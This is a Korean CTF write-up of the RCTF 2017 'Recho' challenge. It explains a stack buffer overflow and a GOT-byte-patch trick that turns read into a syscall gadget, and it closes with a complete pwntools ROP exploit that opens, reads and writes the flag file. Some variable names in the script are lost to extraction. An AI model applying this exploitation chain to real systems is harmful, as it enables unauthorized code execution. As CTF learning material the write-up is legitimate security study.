[RCTF 2017] Recho

2018. 7. 10. 19:11

syscall 이용해서 익스를 몇번해보고 조금 더 연습해봐야겠단 생각에 RCTF 2017의 Recho를 풀어보았다...

도대체가 왜 항상 이리 코드가 안먹히는건지 ㅡㅡ;; 너무 실수가 많은것 같지만 어떻게든 했다;;


먼저 file 명령어를 통해 보면 아래와 같다.

sherlock@ubuntu:~/workstation/study_pwn/Recho_$ file Recho 

Recho: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped


64bit 바이너리이고 스트립되있지 않아서 분석하기 편할 것 같다.



보호기법이 무엇이 있는지도 보았다.

NX가 걸려있는것 말고는 별다른 보호기법은 적용되어있지않다.



??? 그리고 strings로 한번 검색해보았는데 flag라는 스트링값이 존재한다. 어디에 쓰일진 아직 모르겠다.


Ida에서도 발견!




strip되있지않아 Ida로 main을 바로 볼 수 있었다.

동작은 간단하게 read로부터 사용자에게 얼마만큼을 입력받을지는 받고 그만큼 버퍼에 쓴다.

그러므로 여기서 BOF를 일으켜 ret를 덮을수 있다!


그런데 문제가 while안에 있는 read가 리턴하는 값이 0보다 크다면 while루프를 계속 돌기때문에 while을 빠져나올 필요가 있는데 여기서 사용할 수 있는게 프로그램 실행중 Ctrl+D를 누르면 종료시그널을 보내는 것이다. 종료시그널을 보내면 while루프를 빠져나와 프로그램이 종료되게 할 수 있다.


그런데 프로그램이 종료되므로 ret를 덮어 leak을 한다해도 프로그램이 종료되어서 쓸모가 없어진다 ㅡㅡ;

그래서 syscall을 이용해서 문제를 풀어보자.


계획은 아래와 같다.


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


open으로 flag 파일을 읽어오고, 그 값을 read를 이용해 bss영역에 쓴다.

그리고 그 값을 write로 stdout으로 써주면 flag가 출력될 것이다.


그럼 필요한 값을 찾아보자!



flag string은 여기있고... 문제는 syscall (int 0x80)이 가젯을 구할 수가 없었다 ...(ㅡㅡ;)

rp++로 찾았는데;; 이게 없어서 막혀버렸담ㄴㅇㄹ


그러다 read함수 내부에서 syscall을 찾을 수 있었다.



저기있다. 즉 read주소+0xe만큼의 위치에 존재한다.

그럼 이제 read주소의 got가 가리키는 값을 0xe만큼 증가시켜서 read@plt를 부르면 syscall이 호출되게하면 된다.

가젯중에 add byte [rdi], al ; ret이 있어 rdi에 read@got를 넣고 eax에 0xe를 넣은 후 이 가젯을 호출하면 read를 호출하게 되면 이제 syscall이 호출되게 된다.


그러면 이제 아래와 같이 하면 된다. 끝!


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
 
#context.log_level = 'debug'
 
= ELF("./Recho")
= process("./Recho")
 
address_add = 0x40070d #add byte [rdi], al ; ret
pop_rax = 0x004006fc # pop rax ; ret  ;
pop_rdi = 0x004008a3
pop_rsi = 0x004008a1 # pop rsi ; pop r15 ; ret
pop_rdx = 0x004006fe # pop rdx ; ret
 
read_addr = e.got['read']    # 0x601030
syscall = 0x400600 # read@plt
 
flag_address = 0x00601058
 
# 1. read_addr.got -> add byte! result= syscall_address
payload =  "A"*48    # buffer
payload += p64(e.bss()) # sfp
payload += p64(pop_rax)
payload += p64(0xe)        # read_addr+0xe = syscall_address
payload += p64(pop_rdi)
payload += p64(read_addr)
payload += p64(address_add) # read_addr.got -> syscall_adress
 
# 2. syscall open(flag, 0, 0) O_RDONLY=0 #http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
payload += p64(pop_rax)
payload += p64(0x2)        # open syscall_num , open func is return fd number
payload += p64(pop_rdi)
payload += p64(flag_address) # "flag"
payload += p64(pop_rsi)
payload += p64(0)*2        # O_RDONLY=0
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
#fd: 0, 1, 2 is stdin, stdout, stderr // and next open call return is 3, because it gives the smallest value that is not currently used.
 
# 3. read flag! syscall read to bss
payload += p64(pop_rax)
payload += p64(0x0)        # read syscall_num
payload += p64(pop_rdi)
payload += p64(0x3# open flag fd number
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # read size
payload += p64(syscall)
 
# 4. syscall write! write stdout
payload += p64(pop_rax)
payload += p64(0x1)        # wrtie syscall_num
payload += p64(pop_rdi)
payload += p64(0x1# stdout
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # write size
payload += p64(syscall)
 
p.sendlineafter("Welcome to Recho server!",str(len(payload)))
sleep(2)
p.sendline(payload)
 
p.shutdown()
 
cut=42
 
recv = p.recvall()
recv = recv[cut:recv.find('\00')]
 
print(recv)
p.close()
cs


+ Recent posts